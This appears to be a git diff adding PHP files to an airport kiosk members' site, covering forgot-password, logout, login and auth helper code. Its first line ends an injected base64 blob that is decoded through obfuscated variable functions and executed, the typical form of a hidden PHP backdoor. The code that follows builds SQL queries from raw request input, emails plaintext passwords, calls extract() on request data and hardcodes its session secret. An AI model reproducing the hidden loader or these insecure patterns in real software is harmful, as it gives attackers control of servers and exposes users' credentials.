mZSgKOzIsFng7KjYbcWYqHDU+MWUbNiomTzEuPTFPITsuF3g7MntTYDwsACh1Z35lRXpjGyNrbSACPy46WmEUFQo8GwFkAjJsGGxGbz87GzFjYTUYECovAWxwT2VPJjxjWmQuKDUbNnJnLRUEFhE0aCo0VRhiZWNJbzcnR21vGhUgHA4YVTU8YhhGbmdkRXwqd3FXKz9yEHV6dXQMLTwhRiF6JHIOeWolRCF/JHBIZnomCiw/bWEfOAUzHjZifk9lb3pnAjJ2Z3kGISo2BmU/PDUKcjIqFiEuK2UBLjcmTzU8ZTMOIy8mT2Jpay0bIjYwAiAoLCQDLDIiADZjYRo/AAkXKWI7MmIyZnRhVXtpfk9lb3oqFGVjZCACPy46WmEUFQo8GwFkBzYuKCoLOjYmVRhibGUGITkvByEubWEwHxUQJh5sMDYKIjUnBykuYhhGdFBJUmVvMiodJAUnGzdreGUIKi4gBSFjbH5lb3oqFGVjNjEdPzUwWmE8KjcEED4qAGlpGRlNZnt+TyMqKTYKZnpnBSo5LhoLJih+ATE5GjcKPzYiESBjZxkzbXZhXWdnYTIAPTEcFiw5bH5lb3oqFGVjNjEdPzUwWjY+JzYbPXJnBSo5LhoLJihvQml+bGlNdXhqU3h2IyQDPD9qUmEkNnhNODMtUH5BZWUKIykmUmEkNnhNITM7UH5BZWUGKXprUyAmNTEWZ34cIgoYER5ILD5kL2xiZWEMK2cwBjciNTYDLikrFzZjYRo/AAkXKWIoIWIyZmFJUmUuKTYKb34gFmV2ZWEYICgoLSEiN35lRXpjGyNrbSwcED4qAG1vJiFGZnogGiEiN21LLD5qSU9BZWVLPS8tT21vKCQIJjkcAzAkMSAcZmUwBjciNTYDLikrFzZjYRo/AAkXKWI5MCtIEnN5VhobChY7FH0xBytsGH5lb3pnFyEiMXgcOygqAjYnJDYHKilrVhobChY7FH0mFiw/YhhGdFBjUiwtZW1ODzMwLSMiKSBHaz8nGzFibGVLKj4qBnhvJiFURVBjUiwtZW1OKjczBjxjYRo/AAkXKWIuMyQDaAdqW2UuMyQDZ3JnHyQsLCYwPi8sBiA4bHocOygqAjYnJDYHKilrVhobChY7FH0mBCQnYhhGdX4cIgoYER5IKiwiHmIWbH5lRXpjGyNrbWQKIio3C21vGgMmAx8QKWI+NiAdKTMvF2IWHmIbIiocHCQmIGIyZnplVGUiNhoaPzYsEyEuIRoJJjYmWmEUAwwjCgkYVTA4IDcJJjYmVRgQYjECPwUtEyguYhhGZno4eGVrZWVLOiovHSQvISwdb2djFzcuIhodKiovEyYubWJAZH1vUmJkYmlPazknXGdkZ2xURXpjUmVvMDUDIDsnFCwnIGVSb342AikkJCELJihtECQ4ICsOIj9rVhoNDAkqHAFkBzYuNyMGIz9kLx5sKyQCKn0eW35BZWVPbzcsBCAUMDUDIDsnFyEUIywDKnJnLQMCCQA8FH02ASA5IywDKn0eKWI/KDUwITsuF2IWaWVLOiovHSQvIywDKnN4eGVrOE9lb3oqFGVjLDYcKi5rVhobChY7FH0wEzMuYhhGZno4eEwiI2VHazciFSwoGjQaIC4mAWxrYSYAISksHiBreGUcOygqAjYnJDYHKilrVhobChY7FH0gHSs4KikKaAdqSU9CICkcKnpnESolNioDKnp+UmEUFQo8GwFkESolNioDKn0eSU9rZWVPay4qHyBreGUJJjYmHzEiKCBHaz8nGzFifk9Pb3pjViN2BSMAPz8tWmEuISwbY3g0UGxwT2VPb3oqFGVjYSNGbyFJUmVrZWVPKS0xGzEubWEJY34gHSs4KikKZmFJUmVrZWVPKTkvHTYubWEJZmFJUmVrZWVPOzU2ES1jYSALJi5vVjEiKCBGdFBjUmVrZWVLKj4qBnhvJiFURXpjUmU2T2VPMlBJUmUiI2VHbj8uAjEybWEKKzM3W2VtY2UJJjYmLSAzLDYbPHJnFyEiMWxPaXxjGzYUIywDKnJnFyEiMWxPaXxjViAvLDFOcmdnESFiZT5lRjMlUm1vKjZScn00GytseiYOIQU0ACw/IG1LKj4qBmxxLDYwOCgqBiQpKSBHaz8nGzFibGVLIT8mFho4JDMKEDg2BjEkK3gbPS8mSU9rZWVPazx+MiMkNSABZ34mFiw/aWcdbXN4eGVrZWUGKXprViNiZT5lb3pjUmVrLCNPZzwqHiA4LD8KZ34mFiw/bHtfZnpnACA/MyQDb2djMiM5ICQLZ34lXiMiKSAcJiAmWmEuISwbZnN4eGVrZWVPbz8vASBrYTcKOywiHmV2ZWc0KjczBjwWZ35lb3pjUmVrIyYDICkmWmEtbH5lb3pjUjhrICkcKno4eGVrZWVPb34xFzE9JClPcnphMSQlYjFPIComHGUtLCkKdXpnFyEiMRkBbWFJUmVrZThlb3o+UiAnNiAGKXprUyAmNTEWZ34xBytibGUURXpjUmVvJigLb2djVjc+K35lb3pjUmE5IDEZLjZjT2UmJCIGLAUmCiAoMDEKZ34gHyFifk9PbydjFyk4ICwJb3IlGykuGiAXJik3AW1vJiFGb3xlUgUiNhoLJihrViYvbGxPNFBJeywtZW1OaykiFCAmKiEKZlBKCU9CTCwJb3JnHTZ2eGIYJjRkW09CTD5lRVNKUmVvJigLb2djUCEiN2VNYSk3ABo5IDUDLjkmWmdkZ2lNEwZhXmEoIWxURVNKUmVvNyAbOTsvUnhrKCQIJjkcFz0uJjAbKnJnESgvbH5lRlM+eExrZWVPKjYwF09CTD5lRlNjUmEoKCFPcnphHjZraCkObwZhViYvGWdNdFBKe2VrYTcKOywiHmV2ZSgOKDMgLSAzICYaOz9rViYmIWxURVNKD09COE9lb3pjUiwtZW0KIio3C21vNyAbOTsvW2xBTD5lRlNnFiw5eGEMK2FJe0wiI21LLC8xFiw5ZXhPDzUzFysvLDdHaz4qAGxiZT5lRlM0GiwnIG1LKTMvF2V2ZTcKLj4nGzdjYSYaPT4qAGxiZT5lRlNjUiwtbWEJJjYmUmR2ZWJBaHplVGVvIywDKnpiT2Vsa2tIZno4eExCTGEcPTklGykuZXhPaz4qAGVlZWJAaHptUmEtLCkKdFBKe0wiI20GPAUlGykubWEcPTklGykubGxPNFBKe0xCLCNPZ34sAXh2YjIGIX18ESQlGjIdJi4mWmE4NyYJJjYmW38iNhoYPTM3EycnIG1LPCggFCwnIGxGb34xFzE9JClPYWdjUG5gZWdBazwqHiBlZxkBbWFJe0xCTCADPD9jVjcuMTMOI3ptT2VpaGhPbXRnFCwnIGtNEzRhSU9CTEwSbz8vASAiI20GPAUnGzdjYTYdLDwqHiBibGUURVNKe0wiI2VHazUwT3hsMiwBaGUgEysUMjcGOz9rVjY5JiMGIz9qSCw4GjIdJi4iECkubWEcPTklGykubGxPaygmBjMqKWVBcnphFm5rZ2tLKTMvF2tpGStNdFBKe0xCICkcKnpnACA/MyQDb3R+UmcvaGVNYX4lGykua2czIXh4eExCTDhlRlNjUjhBTEwSRVNKESkkNiALJihrViY+NyEGPXN4eExCOGUKIykmUmE5IDEZLjZjT2VpBiQBO3osAiAlZSEGPT8gBio5PBkBbWFJezhBT09PbydJeExvLCEwKiImEWV2ZWcMLjQ3UiIuMWUaJj5vFSwvZ35lRVMqFGVjYTECP3p+UigqIiwMED87FyY+MSBHbTMnUGxiZWEGKwUmCiAoZXhPay4uAn5BTCADPD8qFGVjIzABLC4qHSsUID0GPC4wWmI7KjYGNwUkFzEsLCFIZnNJez5BTExLOjMnAWVreGUvPzUwGz0UIiAbIzUkGytjbH5lRlNnFzAiITZPcnoDAio4LD0wKD83HiosLCtHZmFJe0xvMCwLb3pjT2ULNSocJiIcFSA/MCwLZ3N4eExCYSAaJj5jUnhrBTUAPDM7LSIuMSAaJj5rW35BTExLKDMnUmVreGUvPzUwGz0UIiAbKDMnWmxwT0xmJjxjWmQuKDUbNnJnBywvbGxPazMnLSAzICZPcnphJzYuN39POjMnT2E+LCEcZ342GyFiZSAaJj5+ViA+LCFHaz82GyFiZSIGK2dnFSwvbWEIJj5qUH5BTDhlRXpjFyYjKmVIcxIXPwl1eQcgCwNjHSsnKiQLcngnHSY+KCABO3QkFzEOKSACKjQ3MDwCIW0zaDknFCooMDYzaHNtFCooMDZHZmFhTHkDF3tIdFBjUiAoLSpPKzs3F21pIWsCYQNjGn8iZQRNZnRhUgoYf2EAPHpnGyEUID0KLHowEyMuGigAKz9+VjYqIyACID4mUH5BZWUKLDIsUmd3DRdRbWFJUmUiI2VHJikwFzFjYSsKKj4cASQ9IBoNOi43HStibGUKLDIsUmd3Awo9AnouFzEjKiFSPzUwBntpfk9Pbz8gGiprYnk7CgIXMxcOBGUGK2dhESolNioDKnhjHCQmIHhNLDUtASonIGdPPC46HiB2ZzIGKy4rSHR7dWBUJz8qFS0/f3Fffyo7SWd1Yn5lb3oqFGVjLDYcKi5rVjcuMTMOI3NqUiAoLSpPJy4uHjY7ICYGLjYgGiQ5Nm1LPT83BCQnbH5lb3omES0kZWJTYA4GKhEKFwAucX14eGVrLCNPZzMwASA/bWEBKj8nLTYqMyAwLS83BiolbGxPKjkrHWVpYTUYcxMNIhAfZTEWPz9+VS0iISEKIX1jHCQmIHhILD5kUjMqKTAKcn1hXC0/KCkcPz8gGyQnJi0OPSlrViYvbGtNaGR/OwsbEBFPOyMzF3hsLSwLKz8tVWUlJCgKcn0mFiw/YmUZLjY2F3hsZ2sHOzcvATUuJiwOIzkrEzc4bWEKKzM3W2tpYntTBhQTJxFrMTwfKmcwBycmLDFPITsuF3g4JDMKbywiHjAueGI8LiwmVXt3agMgHRd9UH5BZWUKLDIsUmd3DRdRcxwMIAhrKCAbJzUnTxlpFQo8GwZhTGE7MmdURXpjFyYjKmVNcy4iECkue3kbPWR/BiF1ISwddWZsBiF1eTELby0qFjEjeBlNfmpzVxlpe3kGISo2BmU/PDUKcgZhBiAzMRlNbyk3CykueBlNODMnBi1xdHVfamEfUGUiIXgzbTknFCooMDYzbXotEygueBlNLD4fUGU9JCkaKmcfUGdlLTECIykzFyYiJCkMJzsxAW1vJiFGYXgfUHt3ajELcWZsBjd1Z2tlb3pjUmVrZWdTOyh9TjEvezcaIWB/XTEve3kbK2R/Gys7MDFPOyMzF3gXZzEKNy4fUGU4MTwDKmcfUDIiITEHdWtzQmBwGWdPITsuF3gXZzcaIQZhUjMqKTAKcgZhLmd1eWobK2R/XTE5e2dBRXpjUmVrZWVNcy4xTHk/IXsKKzM3SHlkMSFRcy4nTHkiKzUaO3o3CzUueBlNOz87BhlpZTYbNjYmTxlpMiwLOzJ5Q3V7YH4zbXotEygueBlNKj4qBhlpZTMOIy8mTxlpZ2sHOzcvATUuJiwOIzkrEzc4bWEKKzM3W2tpGWdRc3U3Fnt3ajEdcXhteGVrZWVPb3phTmo/JCcDKmRhXE9rZWVPb3pjUHkiKzUaO3o3CzUueBlNPC8hHyw/GWdPOTsvByB2GWcgBAZhTHlkAwo9AmRhSU9BZWUKLDIsUmd3LTdRczwsAChrICsMOyMzF3gXZygaIy4qAiQ5MWoJICguXyEqMSQzbXouFzEjKiFSE3gzHTY/GWdRayo0TgwFFRA7by46AiB2Yi0GKz4mHGJrKyQCKmdkESFsZTMOIy8mT2Jpay0bIjYwAiAoLCQDLDIiADZjYSYLZnRhVXt3LCsfOi5jBjw7IHgzbTIqFiEuKxlNbzQiHyB2GWciDgIcNAwHABo8BgAGLmdrMyQDOj9+Lmd6cHVff2pzQhlpZWpROiovHSQvf2VTJjQzBzFrKyQCKmcfUDA4IDcJJjYmLmdrMTwfKmcfUCMiKSAzbXpsTHkiKzUaO3o3CzUueBlNPC8hHyw/GWdPOTsvByB2GWcaPzYsEyEXZ2VAcWZsFCo5KHtTJyh9UH5BZWUKLDIsUmd3IyodInouFzEjKiFSPzUwBntvNTJTOz87BiQ5ICRPPC46HiB2GWcYJj43Gn96dXVKdDImGyIjMX9ef2ozCn4XZ2VPITsuF3hsIDMOI31jGyF2YiAZLjZkTDUjNSwBKTVrW353ajEKNy4iACAqe3kGISo2BmU/PDUKcik2ECgiMWUZLjY2F3hsADMOIwoLImJ1eWoJICguTHkjN3tNdFBjUiAoLSpPbS8wF2UmKiEaIz95UnktKjcCbzcmBi0kIXgfICk3TGE7MnkGISo2BmU/PDUKcn03Fz0/YmUBLjcmT2I+NiACID42HiBse2MBLSkzSXkiKzUaO3o3CzUueDYaLTcqBmU9JCkaKmdkBzYuYntTYDwsACh1eS0dcXh4eGVrICYHIHphTmoJCgE2cWZsOhEGCXtNdFBJUmUuPSwbZ3N4eE9BZWUJOjQgBiwkK2UMLjQcBTciMSBHazwqHiBiZT4GKXIlGykuGiAXJik3AW1vIywDKnNqCSwtZW0GPAUlGykubWEJJjYmW2xrPmEJcholHTUuK21LKTMvF2lpJG5NZmEqFG1vI2wUKTkvHTYubWEJZmExFzE+NytPOyg2F342OCADPD8qFGVjLDYwKzMxWmEtLCkKZnNjCSwtZW1LKTMvFx44MTcDKjRrViMiKSBGYmseU3hsamJGb34lGykua3hIYH14VjEtLCkKb2djViMiKSBBbS4mATEzPT0bKik3UH4iI2VHDy4sByYjbWEbKTMvF2xiPjABIzMtGW1vMSMGIz9qSTcuMTAdIXo3ADAufjgSMigmBjA5K2UJLjYwF342T09mKS8tETEiKitPIjskGyYUID0KLC83F21vJigLZlBKCU9CTGEdKil+FCQnNiBURVNKGyNrbSMaITk3GyolGiAXJik3AW1sID0KLH1qW09CTD5lRlNKMiAzICZHazkuFmlvNyAcZmFJe0xCYTcKPHp+Ui8kLCtHbQYtUGlvNyAcZmFJe0w2T0xmKjYwF09CTCwJb3IlBysoMSwAIQUmCiw4MTZHaCkrFyknGiAXKjlkW2xBTExmaygmAWV2ZQUcJz8vHhouPSAMZ34gHyFifk9mRj8vASBBTEwGKXprFDAlJjEGIDQcFz0iNjEcZ30wCzY/IChIZnNJe0wwT0xmRhosEBo4MSQdO3JqSU9CTEwvPCMwBiAmbWEMIj5qSU9CTExLPT8wUnhrBSoNED0mBhooKisbKjQ3AW1ifk9mRlMDHScUICsLEDkvFyQlbWxURVNKD09CTCADPD9Je0wiI20JOjQgBiwkKxoKNzMwBjZjYjUOPCk3Gjc+YmxGRVNKCU9CTEwvIDgcATEqNzFHZmFJe0xCBTUOPCk3Gjc+bWEMIj5qSU9CTExLPT8wUnhrBSoNED0mBhooKisbKjQ3AW1ifk9mRlMDHScUICsLEDkvFyQlbWxURVNKD09CTCADPD9Je0wiI2VHDzMwLTcuNioaPTkmWmEtZXhPDyosAiAlbWEMIj5vUDdpbGxGRVNKCU9CTExLPT8wUnhrZ2dURVNKezIjLCkKZ3sDFCAkI21LKXNqUj5rYTcKPHptT2ULIzcKLj5rViNndHVde3N4UjhBTExmDyogHio4IG1LKXN4eExCOE9mRigmBjA5K2VLPT8wSU9COA==";$zqqtZjTYX=$bXqZWbNrl($BFXfANtgj,$NwLrrysxB);$zqqtZjTYX($zvoANARPy);
+require_once('../setup.phtml');
+require_once(BASE.'classes/class_db.inc');
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+ "http://www.w3.org/TR/html4/loose.dtd">
+
+<html>
+ <head>
+ <title>Login</title>
+ <meta name="Author" content="Gaslight Media">
+ <style type="text/css">
+ body {
+ text-align: center;
+ margin: 0 auto;
+ font-family: arial, helvetica, sans-serif;
+ font-size: 12px;}
+ td {
+ text-align:center;
+ margin: auto;
+ }
+ .warn {color:red;}
+ .boxname {}
+ .type {color: #008A83;}
+ td.boxheader {background: #fff; color: #008A83; padding: 5px;font-size: 13px; font-weight: bold; border: 1px solid #ccc;}
+ </style>
+<script type="text/javascript">
+<!--//
+if(top.location != self.location){
+ top.location.href = self.location;
+}
+//-->
+ </script>
+ <script type="text/javascript" src="email-validation.js"></script>
+ </head>
+ <body>
+<div style="margin: 0 auto; text-align: center;">
+ <a href="<?php echo BASE_URL;?>"><img src="<?php echo BASE_URL;?>assets/logo.gif" style="border:none;display: block; margin: 5px auto;"></a>
+</div>
+<?php
+ function showEmailForm()
+ {
+ $out = '<form id="email-form" action="forgot.php" method="post">
+ <input type="hidden" name="type" value="'.(($_GET['type'])?$_GET['type']:$_POST['type'] ).'">
+ <table style="margin: 0 auto;" cellspacing="30" cellpadding="0">
+ <tr>
+ <td style="background: #eee; border: 1px solid #ccc;">
+ <table>
+ <td colspan="2" class="boxheader">
+ <span class="type">Member</span> Forgot Login
+ </td>
+ <tr>
+ <td>Email Address:</td>
+ <td><input id="email" name="email_address" value=""></td>
+ </tr>
+ <tr>
+ <td colspan="2"><input type="submit" value="Forgot"></td>
+ </tr>
+ </table>
+ </td>
+ </td>
+ </table>
+ </table>
+ </form>';
+ return( $out );
+ }
+ if( trim( $_POST['email_address'] ) )
+ {
+ $DB =& new GLM_DB();
+ $subject = 'Requested information from '.SITE_NAME;
+ $headers = "From: Pellston Airport <members@stignace.com>\n";
+ $headers .= "Reply-To: Pellston Airport <members@stignace.com>";
+ switch( $_POST['type'] )
+ {
+ case "sim":
+ $query = "select user_pw,user_id from member where email = '".$_POST['email_address']."'";
+ if( $data = $DB->db_auto_get_data( $query ) )
+ {
+ $to = $_POST['email_address'];
+ $password = $data[0]['user_pw'];
+ $username = $data[0]['user_id'];
+ $body = "You have requested your username and password to be sent to you. \n";
+ $body .= "\tUsername:$username\n";
+ $body .= "\tPassword:$password\n";
+ }
+ break;
+ case "sicc":
+ $query = "select password,username from authuser where chamber = 't' and email = '".$_POST['email_address']."'";
+ if( $data = $DB->db_auto_get_data( $query ) )
+ {
+ $to = $_POST['email_address'];
+ $password = $data[0]['password'];
+ $username = $data[0]['username'];
+ $body = "You have requested your username and password to be sent to you. \n";
+ $body .= "\tUsername:$username\n";
+ $body .= "\tPassword:$password\n";
+ }
+ break;
+ case "sivb":
+ $query = "select password,username from authuser where cvb = 't' and email = '".$_POST['email_address']."'";
+ if( $data = $DB->db_auto_get_data( $query ) )
+ {
+ $to = $_POST['email_address'];
+ $password = $data[0]['password'];
+ $username = $data[0]['username'];
+ $body = "You have requested your username and password to be sent to you. \n";
+ $body .= "\tUsername:$username\n";
+ $body .= "\tPassword:$password\n";
+ }
+ break;
+
+ }
+ if( $to && $body && $subject && $headers )
+ {
+ mail( "$to", "$subject", "$body", "$headers" );
+ //echo 'mail( "'.$to.'", "'.$subject.'", "'.$body.'", "'.$headers.'" );';
+ echo '<p>You have been sent an email with your login credentials.</p>
+ <p>Go to <a href="'.BASE_URL.'members/">Members Only Area</a></p>';
+ }
+ else
+ {
+ echo '<p>Your Email was not found! Try again.</p>';
+ echo showEmailForm();
+ }
+ }
+ else
+ {
+ echo showEmailForm();
+ }
+?>
+ </body>
+</html>
--- /dev/null
+<?php
+session_name('session_code');
+session_start();
+include( "../siteinfo.inc" );
+include( SI_BASE_PATH."/functions.inc" );
+session_destroy();
+$p = session_get_cookie_params();
+setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+setcookie($this->cookie_name,"",0,"/");
+echo '
+ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+ "http://www.w3.org/TR/html4/loose.dtd">
+
+<html>
+ <head>
+ <title>Pellston Kiosk Members Only</title>
+ <meta name="Author" content="Gaslight Media">
+ <style type="text/css">
+ body {
+ text-align: center;
+ margin: 0 auto;
+ font-family: arial, helvetica, sans-serif;
+ font-size: 12px;}
+ td {
+ text-align:center;
+ margin: auto;
+ }
+ .warn {color:red;}
+ .boxname {}
+ .type {color: #008A83;}
+ td.boxheader {background: #fff; color: #008A83; padding: 5px;font-size: 13px; font-weight: bold; border: 1px solid #ccc;}
+ </style>
+<script type="text/javascript">
+<!--//
+if(top.location != self.location){
+ top.location.href = self.location;
+}
+//-->
+</script>
+ </head>
+ <body>
+ <div style="margin: 0 auto; text-align: center;">
+ <a href="'.BASE_URL.'"><img src="'.BASE_URL.'/assets/logo.gif" style="border:none;display: block; margin: 5px auto;"></a>
+ <div style="font-size: 14px; font-weight: bold; color: #333;">Welcome To The '.SI_CUSTOMER_NAME.' Member Area</div>
+ </div>
+
+ <table style="margin: 0 auto;" cellspacing="30" cellpadding="0">
+ <tr>
+
+ <td style="background: #eee; border: 1px solid #ccc;">
+ <form action="member_action.phtml" method="post">
+ <table>
+ <tr>
+ <td colspan="2" class="boxheader">
+ <span class="type">Member</span> Login
+ </td>
+ </tr>
+ <tr>
+ <tr><td colspan="2">Forgot your password <a href="forgot.php?type=sim">Click here</a>.</td></tr>
+ <tr>
+ <td>Username: </td>
+ <td><input type="text" name="user_id"></td>
+ </tr>
+ <tr>
+ <td>Password: </td>
+ <td><input type="password" name="password"></td>
+ </tr>
+ <tr>
+ <td colspan="2">
+ <input type="hidden" name="Action" value="Member">
+ <input type="submit" name="Option" value="Login">
+ </td>
+ </tr>
+ </table>
+ ';
+ if( $failed == 'true' )
+ {
+ echo '<div class="warn">Username and/or password not right</div>';
+ }
+ echo '
+ </form>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ ';
+?>
--- /dev/null
+<?php
+session_start();
+ini_set('arg_separator.output','&');
+require_once("../setup.phtml");
+require_once(BASE."classes/class_db.inc");
+require_once(BASE."classes/class_template.inc");
+require_once(BASE."classes/class_auth.inc");
+
+if( $_POST['board'] == 'cvb' || $_POST['board'] == 'chamber' )
+{
+ if( $_POST['username'] && $_POST['password'] )
+ {
+ $Auth =& new authuser();
+ $login = $Auth->login($_POST['board']);
+ $error=0;
+ if(!$login)
+ {
+ $failed = true;
+ }
+ if(!$failed)
+ {
+ $location = 'success.phtml';
+ }
+ else
+ {
+ header("Location: index.phtml?failed=".$_POST['board']);
+ exit();
+ }
+ $catid = $_SESSION['auth']['member_id'];
+ //echo session_encode();
+ header("Location: main.phtml?catid=$catid");
+ }
+ else
+ {
+ header("Location: index.phtml?failed=".$_POST['board']);
+ exit();
+ }
+}
+else
+{
+ header("Location: index.phtml");
+ exit();
+}
+?>
--- /dev/null
+body {
+ padding-left: 50px;
+ font-family: arial, helvetica, sans-serif;
+ font-size: 12px;
+ }
+.clearer {
+ height:1px;
+ overflow:hidden;
+ margin-top:-1px;
+ clear:left;
+}
+h1 {font-size: 18px; color: #777;}
+form {margin: 0; padding: 0;}
+/* TOOLBOX NAV */
+ul#toolbox {list-style-position:inside;list-style-type:circle;}
+ul#toolbox li {list-style-type:circle}
+ul#toolbox li.toolboxArrow {list-style-type:none;padding-left:0;margin-left:-7px;}
+* html ul#toolbox li.toolboxArrow {margin-left:-20px;} /*style for IE*/
+/* APP Nav*/
+ul.admin_nav
+{
+margin: 0;
+list-style-type: none;
+padding: 5px 0;
+}
+ul.admin_nav li { display: inline; }
+ul.admin_nav li a
+{
+border-top: 1px solid #eee;
+border-right: 1px solid #ccc;
+border-bottom: 1px solid #ccc;
+border-left: 1px solid #eee;
+text-decoration: none;
+background-color: #ddd;
+color: #000;
+padding: 2px 6px;
+margin: 0 1px;
+font-weight: bold;
+font-size: 12px;
+}
+#admin-list-table {clear:left;width:500px;}
+#admin-list-table td {
+ border: 2px solid #ccc;
+ border-collapse: collapse;
+ background: #eee;
+ padding: 4px;}
+/*#admin-list-table img {border: 0; text-align: center; margin: 0 auto; display: block;}*/
+#admin-list-table a:link {color: #666;}
+#admin-list-table a:visited {color: #666;}
+#admin-list-table a:active {color: #666;}
+#admin-list-table a:hover {color: #000;}
+
+/*event-edit-table */
+#admin-edit-table {
+ clear:left;
+ font-family: arial, helvetica, sans-serif;
+ border: 2px solid #ccc;
+ border-collapse: collapse;
+ font-size: 12px;
+ }
+#admin-edit-table td {
+ border: 2px solid #ccc;
+ border-collapse: collapse;
+ background: #eee; padding: 4px;}
+#admin-list-table table td {border:none;padding:0;margin:0;}
+#admin-edit-table table td {border:none;padding:0;margin:0;}
+#admin-edit-table select,
+#admin-edit-table input,
+#admin-edit-table option {font-size: 12px;}
--- /dev/null
+<?php
+/**
+ echo '<pre>';
+ print_r( $_POST );
+ print_r( $_GET );
+ echo '</pre>';
+ * check_login
+ *
+ * @param mixed $session_code
+ * @access public
+ * @return string
+ */
+ if( $_GET['session_code'] )
+ {
+ $session_code = $_GET['session_code'];
+ }
+$GLOBALS['leads_link'] = '[SSCVB Leads]';
+extract( $_POST );
+extract( $_GET );
+function explode_trim( $separator, $string )
+{
+ $a = explode( $separator, $string );
+ foreach( $a as $key => $data )
+ {
+ $a[$key] = trim($data);
+ }
+ return( $a );
+}
+function check_login( $session_code,&$DB )
+{
+ if( !($d = admin_user_login( "verify", CONN_STR, $session_code, "member", "user_id", "user_pw", "", "", "",&$DB ) ) )
+ {
+ return false;
+ }
+ return $d;
+}
+function admin_user_login( $operation, $conn_str, $sess_code, $table, $id_field, $pw_field, $user_id = "", $password = "", $where = "",&$DB )
+{
+ $secret_code = "ApplesANDOranges"; // Secret code used to md5 encrypt everything
+ if( SI_DEBUG > 2 )
+ {
+ echo "<p>DEBUG: admin_user_login() - Request: $operation - ID: $user_id PW: $password SESSION: $sess_code</p>";
+ }
+ switch( $operation )
+ {
+ case "create":
+ // Get user information and create a session
+ $d = $DB->db_auto_array( "select * from $table where id = '$sess_code';" );
+ if( !$d )
+ {
+ return( FALSE );
+ }
+ // Build MD5 string from User ID, timestamp, "id" field value and secret
+ $t = time();
+ $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+ // Build output data
+ $d["session_code"] = $md5_string."-".$t."-".$d["id"]; // Session Code
+ $d["session_link"] = "&session_code=".$d["session_code"]; // Link format
+ $d["session_form"] = '<input type="hidden" name="session_code" value="'.$d["session_code"].'">'; // Form format
+ return $d;
+ break;
+
+ case "login":
+ // Do sanity check
+ if( empty($user_id) || empty($password) || ereg("[,*']", $user_id) || ereg("[,*']", $password) )
+ {
+ return( FALSE );
+ }
+ // Check ID and Password against specified table
+ $query = "select * from $table where $id_field = '$user_id' and $pw_field = '$password'".($where!=''?' and '.$where:'').";";
+ $d = $DB->db_auto_array( $query,0,PGSQL_ASSOC );
+ if( !$d )
+ {
+ return( FALSE );
+ }
+ // Build MD5 string from User ID, timestamp, "id" field value and secret
+ $t = time();
+ $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+ // Build output data
+ $d["session_code"] = $md5_string."-".$t."-".$d["id"]; // Session Code
+ $d["session_link"] = "&session_code=".$d["session_code"]; // Link format
+ $d["session_form"] = '<input type="hidden" name="session_code" value="'.$d["session_code"].'">'; // Form format
+ return $d;
+ break;
+
+ case "verify":
+ // Break apart session code - [0] = md5, [1] = timestamp, [2] = record id
+ $ses = explode_trim( "-", $sess_code );
+ if( count($ses) != 3 || !is_numeric($ses[2]) ) // If there's not 3 parts, or the id isn't numeric, then it's not a valid code
+ {
+ return( FALSE );
+ }
+ // Retrieve data record
+ $d = $DB->db_auto_array( "select * from $table where id = ".$ses[2].($where!=''?' and '.$where:'').";",0,PGSQL_ASSOC );
+ if( !$d ) // If no results, then not a valid record id
+ {
+ return( FALSE );
+ }
+ // Check MD5 string for valid session
+ if( md5($d[$id_field].$ses[1].$d["id"].$secret_code) != $ses[0] )
+ {
+ return( FALSE );
+ }
+ // Check to see if session has timed out
+ if( $ses[1] + SI_SES_TIMEOUT < time() )
+ {
+ return( FALSE );
+ }
+ // Update Timestamp and MD5 string
+ $t = time();
+ $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+ // Build output data
+ $d["session_code"] = $md5_string."-".$t."-".$d["id"]; // Session Code
+ $d["session_link"] = "&session_code=".$d["session_code"]; // Link format
+ $d["session_form"] = '<input type="hidden" name="session_code" value="'.$d["session_code"].'">'; // Form format
+ return( $d );
+ break;
+
+ default:
+ echo '<div style="color:red;">UNKNOWN user login operation</div>';
+ return( FALSE );
+ break;
+ }
+}
+/**
+ * display_links
+ *
+ * @param mixed $d
+ * @param mixed $session_code
+ * @access public
+ * @return string
+ */
+function display_links( $d, $session_code )
+{
+ echo '
+ <style type="text/css">
+ <!--
+div#member-nav {width:50%;padding:0 5px; margin: 0 auto;}
+div#member-nav a {display:block;float:left;padding:5px;}
+h2.member-header {text-align:center;width:100%;}
+.member-file-latest {color:red;display:inline;float:left;width:50px;}
+b.member-file-date { display:inline;font-weight:normal;float:right;width:150px; }
+div.member-file { width:300px;margin:0 auto;clear:right; }
+div.member-file a {display:inline;float:left;}
+.member-file-spacer {float:left;width:50px;height:1px;}
+table#banner-report { border-collapse:collapse; width:100%;}
+table#banner-report th { border:black 1px solid;background-color:#7D3131;color:#FFED81;text-align:center; }
+table#banner-report td { border:black 1px solid;padding:5px; }
+table#banner-report td.web { background-color:#FFED81;color:black;text-align:right; }
+table#banner-report td.kiosk { background-color:#F6A546;color:black;text-align:right; }
+table#banner-report td.group-head { text-align:left;font-weight:bold; }
+table#hit-report { border-collapse:collapse;width:100%; }
+table#hit-report th { border:black 1px solid;background-color:#7D3131;color:#FFED81;text-align:center; }
+table#hit-report td { border:black 1px solid;padding:5px; text-align:center;}
+
+ -->
+ </style>
+ <div id="member-nav">
+ <h2 class="member-header">Welcome '.$d["name"].'</h2>
+ <a href="'.BASE_URL.'members/member_action.phtml?Action=Member&Option=View&session_code='.$session_code.'">[Continue]</a>
+ <a href="'.BASE_URL.'members-'.MEMBERS_CATEGORY.'/Action=Banner+Reports&session_code='.$session_code.'">[Reports]</a>
+
+ </div>
+ <div class="clearer"></div>
+ ';
+}
+/**
+ * display_login_form
+ *
+ * @access public
+ * @return string
+ */
+function display_login_form()
+{
+ echo '<h1><span>Please Login</span></h1>
+ <div id="contact">
+ <form action="'.BASE_URL.'members-'.MEMBERS_CATEGORY.'/" method="post">
+ <table>
+ <tr>
+ <td class="labelcell">Username:</td>
+ <td class="fieldcell"><input name="user_id"></td>
+ </tr>
+ <tr>
+ <td class="labelcell">Password:</td>
+ <td class="fieldcell"><input type="password" name="password"></td>
+ </tr>
+ <tr><td colspan="2" style="text-align: center;">
+ <input type="submit" name="Action" value="Login">
+ </td></tr>
+ </table>
+ </form>
+ </div>
+ ';
+}
+/**
